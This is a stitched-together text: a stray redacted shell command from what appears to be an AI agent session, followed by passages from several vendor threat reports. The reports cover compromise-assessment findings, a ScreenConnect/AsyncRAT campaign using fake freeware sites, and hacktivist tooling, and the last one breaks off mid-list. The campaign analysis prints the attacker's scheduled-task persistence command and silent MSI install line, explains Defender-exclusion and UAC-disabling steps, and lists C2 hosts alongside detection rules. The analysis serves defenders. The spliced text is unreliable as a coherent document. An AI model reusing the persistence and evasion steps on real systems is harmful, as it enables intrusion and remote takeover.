/bin/zsh -c -l source /Users/[REDACTED]/.claude/shell-snapshots/snapshot-zsh-[REDACTED].sh && eval ‘ls -lh “/Users/[REDACTED]/Documents/[REDACTED]/”*.xlsx‘ \\< /dev/null && pwd -P >| /var/folders/[REDACTED]/claude-[REDACTED]	ls -lh /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx .. [REDACTED]

The organization was advised to conduct awareness sessions for employees on the risk of exposing confidential internal data to generative AI tools, and to develop a policy governing the use of such tools with confidential information.

Lack of detections: Causes and impacts

Compromise assessment engagements repeatedly show that insufficient detection fidelity is a significant contributing factor to high-severity incidents. In cases where the target organization’s detection coverage was rated low, 52% of incidents were classified as high severity and 15% as low severity. This suggests a correlation: limited visibility appears to increase the proportion of incidents that evolve into high-severity compromises.

Incident severity distribution when detection coverage was insufficient (download)

A common assumption is that engaging a managed security service provider (MSSP) improves detection maturity. The data, however, show a more nuanced picture. Even when an MSSP is engaged, 26.5% of incidents related to low detection coverage remain unidentified, and roughly 50% of MSSP-supported projects have basic Windows audit gaps (e.g., missing event log collection or disabled audit policies).
These findings suggest that outsourcing alone does not guarantee effective detection; active governance and continuous validation are required. Detection should be treated as an evolving capability that requires continuous testing, measurement, and refinement, irrespective of whether it is managed internally or by a third party.

Statistics of missed incidents due to lack of detection capability with or without MSSP (download)

The analysis of root causes of missed detections reveals several recurring themes. In many environments, the technology is present but poorly operationalized. The main issues are:

• Absence of endpoint protection platform (EPP) health check – nearly 50% of incidents escalated to high severity in engagements where the EPP health check was weak or absent. This reflects the classic “installed-but-not-enforced” risk, where agents are present but not tuned, updated, or validated.
• Threat intelligence gaps – when there was no functional threat intelligence feed or platform, about half of the incidents reached high severity. Without curated indicators of compromise and contextual enrichment, analysts rely on generic alerts and may overlook known malicious behaviors.

The underlying issue is an alert-driven, set-and-forget mindset: organizations assume that deployed tools will automatically protect them, even though the tools are not continuously tuned, validated, or enriched with threat intelligence.

Incident severity breakdown where there was no EPP health check or threat intelligence
Missing control	High-severity	Medium-severity	Low-severity
EPP health check	48.3%	36.7%	15%
Threat intelligence feed	50%	40%	10%

Detection failures are rarely caused by a single missing control; they emerge from weak configuration, insufficient telemetry, and an absence of regular checks of controls and processes to ensure they are functional, especially in outsourced models. A hybrid monitoring approach that combines internal ownership with external MDR or MSSP support consistently proves to be the most resilient model when roles, expectations, and performance metrics are clearly defined. Detection must be treated as a living function, not a procurement outcome.

The following example illustrates the real-world consequences of control gaps by walking through a severe incident that persisted undetected for months simply because the organization lacked the necessary detection capabilities and security tools.

Case study: In-memory PurpleFox infection evades conventional endpoint protection

During a compromise assessment engagement, memory was scanned on the target hosts using the threat hunting rule set. Two hidden objects were identified:

• PurpleFox rootkit code injected into legitimate svchost.exe processes on several critical servers.
• XMRig cryptocurrency miner signatures residing inside the same compromised svchost.exe instances.

PurpleFox drops specially crafted DLLs and forces svchost.exe to load them. From there, it installs a kernel-mode driver that gives the attacker persistent and stealthy execution capabilities, as well as the ability to pull additional payloads. This results in the loading of the XMRig miner.

The deployed EPP solution monitored file creation, registry modifications and network connections. However, its memory inspection module was disabled. Additionally, the signature set applied at the time of the assessment was not up to date. As a result, no alerts were generated for the injected DLLs or the miner’s shellcode. The compromise assessment team identified this detection gap during the memory analysis phase and documented the missing in-memory inspection capability in the final report.

The organization’s security operations were outsourced to an MSSP, which collected the logs and forwarded them to the SIEM solution. Because the logs never contained alerts for in-memory activity, PurpleFox activity was not identified.

Insufficient vulnerability management: A catalyst for high-severity compromises

In the 2025 compromise assessment engagements, more than half of the threats identified and linked to insufficient vulnerability management practices or missing patches were classified as high severity. The most frequently observed consequences were the deployment of web shells that enabled persistent remote code execution and the exploitation of misconfigured Active Directory instances.

Severity distribution of incidents due to improper vulnerability management (download)

The root causes of missing patches are multifaceted. They include inadequate asset inventory management (25% of projects) and the absence of formal vulnerability management processes (41% of projects). Moreover, 86% of organizations that claimed to have a vulnerability management program still exhibited exploited misconfigurations during compromise assessment engagements. These findings suggest that robust patch management, comprehensive asset inventory practices, and structured vulnerability management processes are critical for preventing high-severity incidents.

Case study: How overly permissive GPO-based software distribution goes wrong

During multiple compromise assessment engagements, a high-impact misconfiguration was consistently observed: a Group Policy Object (GPO) was used to point to an executable in a shared folder and run it on every workstation via a scheduled task. The access control list (ACL) on the share was set to “Everyone – Full Control”.

Given that any authenticated domain user can write to the share, an attacker who compromises a single low-privilege account can replace the legitimate binary with a malicious payload. The next scheduled task run propagates the payload automatically to all endpoints that receive the GPO. This provides:

• Elevated execution context: the scheduled task typically runs under the SYSTEM or local administrator account.
• Automatic lateral movement: the malicious binary propagates without requiring additional network exploitation.
• Privilege escalation: a compromised low-privilege account can lead to domain administrator code execution.

Vulnerability management procedures that include systematic GPO and share permission audits would have flagged the writeable ACL as a high-severity finding, enabling remediation before exploitation. Remediation typically involves restricting the share permissions to “Authenticated Users” with read-only access and limiting modifications to certain privileged accounts. Incorporating these checks into the baseline security controls reduces the attack surface, demonstrating the tangible risk reduction achievable through disciplined vulnerability assessment and penetration testing (VAPT) practices.

Conclusion

In 2025, Kaspersky Compromise Assessment helped organizations reveal a persistent detection gap: 30.8% of all incidents and 52% of high-severity compromises had historical activity spanning over three months. Of all the incidents discovered, 20% were found manually, while 60% were missed by enterprises because of the absence of high-confidence alerts from existing tools. The oldest missed incident identified by the Kaspersky Compromise Assessment team in 2025 was four years old.

Post-incident checkups produced the highest percentage of high-severity findings, while regular proactive audits, compliance-driven audits, and audits performed before merging two networks tended to reveal issues earlier. This indicates that purely reactive investigations often miss hidden persistence. The top high-level recommendations for immediate improvement in 2025 for all projects were:

• Run a comprehensive detection engine health check within 30 days of project closure, prioritizing telemetry integrity and rule relevance.
• Introduce a Tier 1 alert validation team that reviews all low-confidence events on a defined schedule.
• Ensure robust 24/7 monitoring augmented with threat hunting capabilities focused on baselining, low-fidelity alerts, and emerging adversary techniques.
• Reevaluate the vulnerability management pipeline to ensure continuous patching and audit log activation across all critical assets.
• Update security awareness curricula to address credential leakage from personal devices and reinforce secure BYOD practices.
• Ensure periodic tabletop exercises are run to test technical playbooks and sharpen the team’s skills and communication workflows.
• Establish operational-level agreements to govern and facilitate communication between different teams and standard operating procedures used for proper documentation.

Addressing the root cause categories systematically will reduce the likelihood of future blind spots and improve the overall security posture of the engaged organizations.

UPD 03.07.2026: added a package of rules and recommendations that help detect the described malicious activity for companies using our Kaspersky SIEM system.

Introduction

To access compromised systems, threat actors frequently abuse legitimate remote monitoring tools. At first glance, these utilities rarely raise red flags: they are signed with valid digital certificates, often allowlisted under corporate IT policies, and fully supported by OS vendors. However, they grant attackers the ability to harvest data from target devices, drop malware, and move laterally across the network.

During a recent investigation engagement, the Kaspersky Managed Detection and Response (MDR) team discovered the ScreenConnect remote access tool being leveraged to deploy and execute an AsyncRAT payload.

A deep dive into this single incident unraveled a massive campaign distributing malicious installer archives hosted on spoofed websites. These installers masquerade as popular software like OBS Studio, DNS Jumper, DS4Windows, Bandicam, and others. In total, we uncovered more than 90 domain names localized across 10 languages. The malicious archives bundle a legitimate, signed Microsoft install.exe binary alongside a rogue install.res.1033.dll library. It is loaded onto the device via DLL sideloading and deploys the ScreenConnect service, which awaits further instructions from the threat actors.

As a result, what initially appeared to be an isolated ScreenConnect incident served as the starting point for a full investigation into the threat actor’s C2 infrastructure. Every spoofed site we uncovered followed the exact same playbook: dropping a hidden ScreenConnect remote administration service under the guise of a legitimate software installer. This allowed the attackers to maintain control over compromised endpoints, with victims ranging from individual users to organizations.

We continue to break down complex, multi-stage incidents like this in our ongoing The SOC Files series. In this post, we take a deep dive into the technical execution of the ScreenConnect attack and analyze the broader infrastructure under the threat actor’s control.

Initial incident investigation

The investigation was triggered by an alert from Kaspersky MDR, which flagged the creation and execution of suspicious PowerShell and VBS scripts spawned by a ScreenConnect process.

About ScreenConnect

ScreenConnect is a legitimate remote management utility. Kaspersky solutions detect it as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen.

ScreenConnect was running as an Access-type service — enabling direct remote connectivity — with the server explicitly passed via the command line:

Once running, ScreenConnect created and executed a PowerShell script named Fj5NmEsp9EuKrun.ps1:

Below is an excerpt from the contents of the script:

This script configures Microsoft Defender exclusions for the following objects:

• All disks in the system: C:\, D:\, and others
• All root directories on the C:\ drive, as well as the C:\Users\Public directory
• RegAsm.exe process

Additionally, the script disables User Account Control (UAC) prompts by setting the ConsentPromptBehaviorAdmin registry parameter to 0.

Following this setup, the ScreenConnect service goes on to create a VBScript file:

The installer_method3_stream.vbs script creates five files in the C:\Users\Public directory (msgbox.txt, secret_bytes.txt, 1.vb, cap.ps1, and script.vbs) and immediately triggers their execution by launching script.vbs.

This script terminates all active powershell.exe processes to cover its tracks and executes cap.ps1 in a hidden window.

cap.ps1 reads the contents of the secret_bytes.txt file, extracts sequences matching the [SXX- pattern, and converts XX from hexadecimal representation to a byte. It then uses a 0xA7 XOR key to decrypt each byte and inverts the bit order. The resulting byte array yields a fully formed PE binary, which is then reflectively loaded into the CLR.

Within the loaded assembly, the ConsoleApp1.Module1 type contains a static method named Run. The script uses reflection (Reflection.BindingFlags) to resolve a reference to this method and invoke it.

The Run method executes a process hollowing technique (T1055.012), spawning a new RegAsm.exe process with the CREATE_SUSPENDED flag. The deobfuscated and decrypted PE image from secret_bytes.txt is then copied into its address space. As a result, the RegAsm.exe process no longer executes its original code, instead serving as a container for the injected .NET module — which, in this case, is the AsyncRAT remote access Trojan.

To establish persistence, the malware schedules a task named MasterPackager.Updater:

"schtasks" /Create /TN "MasterPackager.Updater" /TR "wscript.exe "C:\Users\Public\script.vbs" " /SC MINUTE /MO 2 /F

This task triggers every two minutes, ensuring that script.vbs — and consequently the entire loader chain — executes even after a system reboot.

Once the entire infection chain successfully executes, the RegAsm.exe process establishes a connection to the C2 domain mora1987[.]work[.]gd.

How ScreenConnect entered the system

A retrospective analysis of the incident allowed us to pinpoint the source of the ScreenConnect installation: a user-downloaded archive named obs-studio-windows-x64.zip.

The archive was downloaded from hxxps://www.studioobs[.]com/, a typosquatted domain mimicking the official site for OBS Studio, a popular open-source screen recording app. This site is present in search engine results; in this specific incident, the user landed on the malicious domain directly from a search query, a vector we analyze in more detail below.

Clicking the download button for the supposedly legitimate software triggers a request to the following URL, from which the archive is fetched:

hxxps://fileget.loseyourip[.]com/obs-studio-windows-full/gVOMs5VZ9BtlcaM

The archive contains a legitimate, Microsoft-signed executable named install.exe (87603EA025623B19954E460ADD532048), renamed to masquerade as the OBS Studio installer, along with a malicious library named install.res.1033.dll. Additionally, the archive includes an Assets folder containing both a copy of the actual software being impersonated and the ScreenConnect utility.

The complete file structure of the archive is organized as follows:

When OBS-Studio-Installer.exe is executed, it loads install.res.1033.dll via DLL sideloading. This library contains the instructions required to install both ScreenConnect and OBS Studio. The deployment relies on native Windows utilities (msiexec.exe), but the attackers renamed the standard MSI packages to look like DLL files:

• Assets\x86\Data\vcredist_x64.dll: ScreenConnect installer
• Assets\x86\Data\vcredist_x86.dll: OBS Studio installer

The contents of the vcredist_x64.dll MSI package are shown below:

The Windows Installer is launched to install ScreenConnect silently in the background without requiring a system reboot:

msiexec.exe /i "C:\Temp\OBS-Studio-Windows-x64\Assets\x86\vcredist_x64.dll" /qn /norestart

Once the installation wraps up, a new service named Microsoft Update Service is created. The command line for this service explicitly defines the connection server as r[.]servermanagemen[.]xyz.

Meanwhile, the MSI package for the actual OBS Studio software runs using a standard graphical user interface.

Expanding the investigation

The attackers’ reliance on the legitimate install.exe binary provided a crucial pivot point for our broader investigation. We discovered that this specific file was being deployed in the wild under a variety of suspicious aliases, including:

• ds4windows.exe
• crosshairx_installer.exe
• obs-studio-installer.exe
• dns jumper.exe
• glary utilities pro.exe
• processhacker-2.39-setup.exe

These file names indicate that the threat actor was disguising their ScreenConnect archives as popular utilities beyond OBS Studio. Among the fakes, we identified counterfeit installers for DS4Windows, DNS Jumper, Glary Utilities, and Process Hacker. Crucially, when we search for these utilities on major search engines, these fraudulent sites frequently appear at the very top of the organic search results. This indicates that the threat actor is actively leveraging SEO techniques to boost traffic to their landing pages.

Spoofed software portals appearing in search engine results

For example, here is how the fraudulent download portal for DNS Jumper looks:

On this page, the download button directs users to the following address:

hxxps://direct-download.giize[.]com/dns-jumper/iopbsr4hymbo7nfa1q7j

Just like the OBS Studio variant, this drops an archive onto the victim’s device with an identical structure: a renamed legitimate install.exe file, a sideloaded library, and an Assets directory containing the promised software packaged alongside ScreenConnect.

Other fraudulent websites that appear in search engine results when querying the corresponding software are designed in a similar fashion.

Spoofed websites used to distribute ScreenConnect

Notably, the vast majority of the fraudulent sites we uncovered are localized into English, Russian, and Chinese. In several instances, the pages were also translated into German, French, Spanish, Arabic, and other languages. This multi-language support underscores the global footprint of the campaign, targeting a broad user base across multiple regions.

Fake domain infrastructure

To distribute ScreenConnect disguised as freeware, the threat actor spun up an extensive network of domain names mapped across three IP addresses. We have categorized these into two distinct infrastructure clusters.

Cluster 1: 162.216.241[.]242 and 198.23.185[.]81

```
162.216.241[.]242
Country: United States
Org name: Dynu Systems Incorporated
```

The connection graph below illustrates the campaign websites tied to IP address 162.216.241[.]242, which hosts the previously mentioned www[.]studioobs[.]com domain.

Looking into the registration dates for the domains on this IP, we found that the threat actor initially attempted to disguise their sites as various gaming portals:

Subsequently, starting in January 2026, they shifted strategy and began registering fake domains designed to mimic popular freeware:

In this specific branch of the ScreenConnect campaign, the malicious archives are hosted on fileget.loseyourip[.]com. Notably, the download resource is hosted on a completely separate provider:

```
198.23.185[.]81
Country: United States
Org name: NOHAVPS LLC
```

Our analysis of this second IP address revealed that it also hosts additional resources tied to the campaign, including fake gaming sites and supplementary download links:

Cluster 2: 2.59.134[.]97

```
2.59.134[.]97
Country: Germany
Org name: dataforest GmbH
```

Below is an infrastructure graph showing this IP address and its hosted domains. Notably, unlike the previous case, this address also hosts direct-download.giize[.]com, a resource used to store distributed malicious archives.

In this branch of the campaign, the threat actor skipped game-themed lures entirely, focusing exclusively on creating fraudulent freeware sites that bundled ScreenConnect with the requested application. The domains hosted on IP address 2.59.134[.]97 were registered between October 2025 and March 2026.

The chart below shows the volume of fraudulent websites created month by month:

Breakdown of ScreenConnect delivery sites by theme, August 2025 through March 2026 (download)

C2 infrastructure analysis

In total, we identified dozens of different archives distributed across this campaign. All of them share a uniform file structure, containing the malicious install.res.1033.dll library and the ScreenConnect MSI package located at Assets\x86\vcredist_x64.dll.

In some instances, the ScreenConnect installation package also bundles a CAB archive.

This archive contains a system.config XML file, which defines the connection address for the ScreenConnect C2 server:

By analyzing these ScreenConnect installations, we uncovered additional C2 addresses, which are mapped out in the following graph:

The next graph illustrates the AsyncRAT command-and-control infrastructure:

Based on the registration dates of the C2 domains, we can determine that the campaign was launched in October 2025 and paused at the end of March. However, at the time of publication, many of the landing pages remain accessible via search engine results.

Takeaways

Investigating a single case of AsyncRAT delivered via ScreenConnect allowed us to uncover a massive, multi-domain, multi-language infrastructure designed to distribute a hidden installer for this software and further advance the attack. The threat actor disguises ScreenConnect as popular utilities and distributes it through fraudulent websites that mimic official product pages. The attackers leverage search engine optimization techniques to push these sites to the top of search results in engines like Google and Bing.

This attack chain targets both everyday consumers downloading free software from the internet and corporate networks, where remote access tools are frequently allowlisted and granted elevated privileges.

The potential objective of the campaign is to steal credentials en masse and gain unauthorized access to systems for subsequent resale on dark web marketplaces.

To mitigate the risks associated with this threat, we recommend implementing the following security measures:

• Enforce strict software installation controls: application allowlisting and blocking MSI package execution from untrusted sources
• Continuously monitor for the creation of new remote administration services and scheduler tasks
• Filter outbound traffic to unknown domains and IP addresses
• Regularly train users on safe downloading practices
• Verify the authenticity of all software sources

For enterprise users, credential monitoring is a critical mitigation strategy against the risks detailed in this article, as a leaked account or compromised system access frequently serves as a vector for subsequent attacks on the organization.  Kaspersky Digital Footprint Intelligence provides continuous data monitoring across open and dark web sources, enabling security teams to respond proactively to potential threats.

Detection by Kaspersky solutions

Kaspersky Managed Detection and Response detects the malicious activity described in this post using the following indicators of attack:

1. ScreenConnect service creation with suspicious parameters
   

   logsource:                      
       product: windows         
       category: security
   detection:
       selection_access:
           EventID: 4697
           Service File Name|contains:
               - 'e=Access'
               - 'ClientService.exe'
       selection_support:
           EventID: 4697
           Service File Name|contains:
               - 'e=Support'
               - 'ClientService.exe'
       condition: selection_access or selection_support

2. Anomalous child processes being spawned by the ScreenConnect service
   

   logsource:
       product: windows
       category: process_creation
   detection:
       selection:
           ParentImage|endswith:
               - '\\ScreenConnect.ClientService.exe'
               - '\\ScreenConnect.WindowsClient.exe'
               - '\\ScreenConnect.WindowsBackstageShell.exe'
               - '\\ScreenConnect.WindowsFileManager.exe'
           Image|endswith:
               - '\\powershell.exe'
               - '\\cmd.exe'
               - '\\net.exe'
               - '\\schtasks.exe'
               - '\\sc.exe'
               - '\\msiexec.exe'
               - '\\mshta.exe'
               - '\\rundll32.exe'
       condition: selection

Additionally, Kaspersky products detect the malware covered in this post under the following verdicts:

• Trojan.Win64.DLLhijack.*
• Trojan.VBS.Agent.*
• Trojan.PowerShell.Agent.bav
• Trojan.JS.SAgent.sb

Endpoint malicious activity can be monitored using Kaspersky EDR Expert. Specifically, security teams should look for the execution of commands and scripts containing suspicious patterns, such as XOR operations used for command and data obfuscation by malware operating on the host. This activity is flagged by the suspicious_assembly_loading_into_powershell_via_reflection_amsi and xored_powershell_command_amsi rules.

Additionally, persistence mechanisms involving the creation, modification, or utilization of scheduled tasks via the schtasks.exe utility are caught by the scheduled_task_create_from_public_directory_via_schtasks rule.

Malicious code injection into the RegAsm.exe process — leveraged by attackers to masquerade execution behind a trusted system component — is detected via the code_injection_to_unusual_process rule.

To visualize the stages of the attack, security teams can utilize Kaspersky Cloud Sandbox on the Threat Intelligence portal. For instance, this tool allows defenders to map out the entire deployment and payload execution chain originating from the initial VBS dropper.

Furthermore, the Kaspersky Threat Intelligence portal supports searching and graphing the connections between malicious domains and files involved in this campaign, as demonstrated in our adversary infrastructure analysis section.

Finally, the Similarity engine within Kaspersky Threat Analysis profiles file contents to hunt down samples resembling the original threat, helping organizations identify new or previously undetected malicious objects.

To protect companies using our Kaspersky SIEM system, there are rules available in the product repository to help detect this type of malicious activity.

• Adding exclusions to Windows Defender scans via the registry is detected by rule R241_Modification of Windows Defender exclusions through the registry. Adding exclusions via PowerShell (Add-MpPreference -ExclusionPath|ExclusionProcess) is detected by rule R076_04_Windows Defender settings disabled or changed via PowerShell.
• Bypassing the UAC mechanism by modifying the ConsentPromptBehaviorAdmin registry key is detected by rule R242_UAC disabled through the Windows registry.
• Running VBS scripts from a public directory triggers rule R290_07_Running VBScript files from shared folders.
• Creating a scheduled task that runs an executable file from a public directory triggers rule R099_01_Scheduled task started from a public folder.

For the rules to function correctly, it is necessary to configure event 4657 (Security) audit for the following registry keys:

• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Procesess
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin

Additionally, when developing your own detection rules or conducting threat hunting for suspicious ScreenConnect behavior, we recommend monitoring the following events:

• Creation of the ScreenConnect service with suspicious parameters
  

  DeviceEventClassID = '4697' 
  AND FileName LIKE '%ClientService.exe%' 
  AND (FileName LIKE '%e=Access%' OR FileName LIKE '%e=Support%')

• Launch of atypical child processes from the ScreenConnect service
  

  DeviceEventClassID = '4688'
  AND match(SourceProcessName, '.*\\\\ScreenConnect\\.(ClientService|WindowsClient|WindowsBackstageShell|WindowsFileManager)\\.exe')
  AND match(DestinationProcessName, '.*\\\\(powershell|cmd|net|schtasks|sc|msiexec|mshta|rundll32)\\.exe')

Indicators of compromise

Loaders

B32810973132D11AFD61CCEE222BBB79
5B7E1FE55BD7B5EA54BD4ED1677E5A26
9A9CCD8B0E5D05F4EE77667B024844DB
0EEE9BAD07E22415439E854657FA1366
8F4E8B680D3E8D3F5AC39BD72882F713

Malicious library: install.res.1033.dll

5F96C04E3AFAE97017B201BE112284D2
73BEAD922109A61E5F9F85771A7812C5
EDFF4F58722C93D7C09ED71899416396
83601C3D4ED28E8D2BE1B99BEB8EC18C
695E794631EF130583368770E7B81E98
83601C3D4ED28E8D2BE1B99BEB8EC18C
1E6A5C7B620D487D0CFC6874C3B77C90
54025CE2A9405039899FE99A1D77E0BB
BD05FCF80E493CF9AA71EC510319469D
999A63730C9634481D1D76955A2E76A8
479BD3BB617B39CD4A46D0768A2592D4
776DFD3DF9C04BB9FCDD6C1880C3761A
8E4C57358A66EB14D31ABB614DDC68DE
A40D3AEB0DAE5B00BDB3A517F3135BBB
A85A5BFDCB7C65AB93043B8CF9E20065
01325880EFFFEC546F59490089A3B415

AsyncRAT C2

mora1987[.]work[.]gd

Fake websites addresses

ds4windows[.]io
direct-download[.]giize[.]com
tmodloader[.]org
tmodloader[.]app
ds4windows[.]net
losslessscaling[.]app
processhacker[.]dev
steamtools[.]pro
dnsjumper[.]app
free-download[.]camdvr[.]org
defendercontrol[.]org
dns-jumper[.]com
cpuz[.]app
processhacker[.]org
processhacker[.]app
steamtools[.]cc
cpuz[.]pro
wallpaper-engine[.]app
processhacker[.]net
antimicrox[.]net
defendercontrol[.]app
tmodloader[.]pro
dnsjumper[.]io
bandicam[.]app
mgba[.]app
dnsjumper[.]pro
ferdium[.]app
ds4windows[.]pro
lossless-scaling[.]online
defender-control[.]com
gom-player[.]app
defendercontrol[.]pro
lossless-scaling[.]download
antimicrox[.]pro
mgba[.]pro
lossless-scaling[.]app
losslessscaling[.]pro
mgba[.]dev
tmodloader[.]download
tmod-loader[.]com
defendercontrol[.]download
ferdium[.]pro
deadreset[.]com
gom-player[.]net
crosshairx[.]pro
libreoffice[.]pro
studioobs[.]com
studio-obs[.]net
crosshairxv2[.]com
km-player[.]com
corel-draw[.]net
glary-utilities[.]com
download-full-version[.]ooguy[.]com
crosshair-x[.]com
kms-tools[.]com
studio-obs[.]com
crosshairx[.]net
clair-obscur-33[.]com
vlc-player[.]net
arksurvival-ascended[.]com
elden-ringnightreign[.]com
ready-ornot[.]com
arma-reforger[.]com
crusader-kings[.]com
crosshairx2[.]com
mediaplayerclassic[.]net
bandizip[.]pro
obs-studio[.]site
ovr-advanced-settings[.]com
studio-obs[.]pro
vlc-media[.]com
clair-obscur-33[.]town
ovr-toolkit[.]com
crusader-kings[.]church
bandizip[.]net
apexlegends[.]org
obs-studio[.]pro
vlc-media[.]net
crosshairx[.]site
monster-hunterwilds[.]com
km-player[.]pro
mediaplayerclassic[.]pro
kms-tools[.]net
fernbus-simulator[.]com
studioobs[.]pro
bandicam[.]cc
crystaldiskmark[.]cc
crystaldiskmark[.]io
crystaldiskmark[.]dev
crystaldiskmark[.]app
crystaldiskmark[.]pro
bandicam[.]io

Fake domain infrastructure

fileget.loseyourip[.]com
file-download-crosshairx.giize[.]com
all-toll-free.loseyourip[.]com
mpc-update.giize[.]com
all-toll-free.publicvm[.]com
198.23.185[.]81
direct-download.giize[.]com

ScreenConnect C2

servermanagemen[.]xyz
185.254.97[.]249
r.manage-server[.]xyz
45.145.41[.]205
winservec[.]net
manageserver[.]xyz
cloudsynn[.]com
pingserv[.]pro
ehostservers[.]xyz
serverdnsplan[.]net
pingpanl[.]pro
managedevice[.]xyz
edgeserv[.]ru

While tracking the activities of 4BID we uncovered a new string of campaigns that appear to be the work of several interconnected actors. While politically motivated groups generally limit their scope to specific nations – for 4BID and its peers, primarily Russian and occasionally Belarusian organizations – our latest findings reveal a shift. The actual geographic footprint of these attacks became broader than expected, striking companies across Kazakhstan, the UAE, Syria, and Egypt.

What triggered our investigation was spotting a cluster of indicators of compromise within a breached Russian organization’s infrastructure. We used these footprints to successfully track down other environments hit by the same threat actors and piece together the bigger picture.

This article dives into the software deployed throughout these hacktivist campaigns:

• New ransomware samples
• Scripts used at various stages of the attacks
• Commercially available IT remote monitoring and management (RMM) tools

These include both updated versions of known threat-actor tools and previously unseen software.

Overlapping activity streams

Within the initial organization’s infrastructure, we found numerous activity indicators linked to several interconnected hacktivist groups – which ultimately set the direction for our follow-up analysis. We can attribute the following findings to hacktivist activity with a medium level of confidence:

• Several samples of BlackReaperRAT, which we attribute to the 4BID group, were found alongside scripts designed to download Panorama9 RMM, AnyDesk, and Dev Tunnels.
• Besides the artifacts listed above, we discovered ClearWater ransomware in other compromised infrastructures. Interestingly, during this same window, public sources showed Hakerskii Kit claiming a successful attack on a Russian factory. Also detected in that facility’s infrastructure was ClearWater ransomware, with the attackers publicly thanking the С.A.S. group for their contribution.
• We uncovered several samples of Warp RAT within the hit infrastructures, which we link to the Goffee threat group. A detailed report on this specific activity will be published at a later date.

Technical details

Vulnerable web servers and fd.aspx

Analysis of the compromised environments revealed that the attackers gained initial access in most cases by exploiting the ProxyShell vulnerability in Microsoft Exchange, which allows for full server compromise.

Once inside, the attackers deployed the fd.aspx web shell – a modular ASP.NET file designed for remote control, file transfers, and system reconnaissance. Communication with the web shell relied on a basic security check: if the key parameter in an incoming request failed to match the AUTH_KEY constant, fd.aspx simply returned “Access Denied”.

If the verification was successful, the command contained in the request’s scriptText parameter was passed directly to PowerShell, and the output returned to the operator in the body of the HTTP response. In environments where PowerShell execution was restricted, the web shell swapped it out for cmd.exe. The CreateNoWindow: true and UseShellExecute: false flags were used to keep the command execution hidden from the user.

Beyond running commands, the web shell features bidirectional Base64-encoded file transfers. This allows any binary data – like executables, archives, or certificates – to be passed right inside the body of an HTTP request. The UploadFile function writes files to any directory the web server process can access, which makes it easy to drop additional shells or swap out legitimate files. The DownloadFile function exfiltrates any accessible file from the compromised system back to the attackers’ C2 server.

The web shell also includes a system reconnaissance feature that grabs the following data points:

• OSVersion: operating system version
• MachineName: hostname
• UserName: current username
• UserDomainName: domain name
• ProcessorCount: number of processors
• SystemDirectory: system directory path
• CurrentDirectory: current working directory
• Version: .NET Framework version

Additionally, the reconnaissance feature uses the DriveInfo.GetDrives() function to enumerate running processes and map out connected drives – along with the amount of free space available on each. This file system reconnaissance is topped off with LastWriteTime metadata for each object, which helps the operator quickly spot recently modified files and get their bearings within the storage layout.

Alongside the web shells, we encountered a variety of scripts and C2 frameworks across all compromised infrastructures, which we break down below.

Scripts deployed

Once the attackers gained control over a target system, they moved on to the next phase: loading their required toolkit via custom scripts. Variations of these scripts were consistently found alongside fd.aspx on compromised hosts. Most of them interact with legitimate tools, which makes them look almost identical to routine administrative scripts at first glance. The only real giveaway is the code comments, written in Ukrainian. One such script is responsible for deploying AnyDesk on the compromised host.

The build quality of these scripts is worth discussing separately. Several of them show telltale signs of AI generation; inside some compromised systems, we found multiple iterations of the exact same script, a few of which were completely broken. AI-generated code typically fails to work out of the box and requires manual tweaking to run properly.

First, the script checks for admin privileges, as it cannot proceed without them. If that check passes, it looks for an active anydesk.exe process. If the process is missing, the script fetches and installs the application directly from the official website. Once AnyDesk is successfully installed, the script configures an unattended access password and pulls the unique AnyDesk ID. All the collected details are compiled into a report and exfiltrated to the attackers’ server at 185.221.153[.]121. Because we spotted simultaneous activity from multiple groups – 4BID, Hakerskii Kit, and C.A.S. – on the analyzed hosts, this IP address could potentially belong to any one of them.

Besides AnyDesk, the threat actors leverage other legitimate tools. One example is Microsoft Dev Tunnels, a Microsoft service that exposes a local server to the internet. It’s brought into the system by a separate script that, much like the one for AnyDesk, checks if the utility is already present before downloading it from the official site. In certain instances, the utility was fetched directly from the attackers’ server instead:

Once installed, the application runs, and the resulting connection details are saved to a file named login.txt. The contents of this file consist of standard instructions for using a provided code to authenticate on a Microsoft page through a web browser.

To sign in, use a web browser to open https://login.microsoft.com/device and enter the code [CODE].

As a final step, the script opens up the required ports and creates the tunnel, giving the attackers a back door into the compromised host.

Another script we uncovered handles the installation of Panorama9, a legitimate remote monitoring and management utility. Immediately after downloading that application, the attackers configure it via the registry to hide both its system tray icon and its installation folder. To camouflage the Panorama9 services, the attackers rename them to Windows Update Helper and Windows Update Helper Cache and swap out their descriptions, making the utility look almost identical to standard system components. Once the utility finishes its job, the script clears its tracks.

The attackers used a dedicated script to establish persistence on the system. When executed, it used the net user command to spin up a local user account and then hid it via the registry. The script added this new user to every available local group; if the machine was domain-joined, it also attempted to inject the user into all Active Directory groups.

At the same time, the script tweaked RDP settings: it set the minimum encryption level through the registry, added a firewall rule to allow port 3389, and ran the relevant services.

After it wrapped up its main tasks, the script wiped the event logs, command history, temporary files, and finally itself. Once the attackers got what they wanted out of the infected host, they triggered another script that removed the previously created user account, cleaned out the registry keys generated during the earlier phases, and then deleted itself as well.

The scripts described here are just the most telling examples out of dozens of samples we found. An analysis of the attackers’ toolkit reveals a clear trend: they aren’t just fine-tuning the solutions they’ve used in the past (specifically, the AnyDesk deployment script), but are actively broadening their arsenal with new tools like Panorama9, Dev Tunnels, and others.

Publicly available utilities

As previously mentioned, the attackers leverage a broad spectrum of dual-use public software, such as all kinds of remote monitoring and management utilities. While they use the scripts discussed above to drop some of the utilities onto systems, we didn’t encounter scripts for others, so we can’t confirm whether any exist. We observed the following tools deployed across the campaigns in question:

• AnyDesk: a remote administration tool
• Advanced IP Scanner: a network scanning utility
• Dev Tunnels: a Microsoft service used for exposing a server to the internet
• Panorama9: an IT infrastructure management and monitoring service
• Nezha Monitoring: a server status monitoring utility
• Tactical RMM: a remote monitoring and management tool

C2 and communications

To gain a foothold in the victim’s infrastructure, the attackers relied on several post-exploitation frameworks. Some of these are publicly available utilities, while others are custom-built.

Among the publicly available tools in the group’s arsenal are:

• Sliver
• Havoc
• Apollo Mythic
• Adaptix

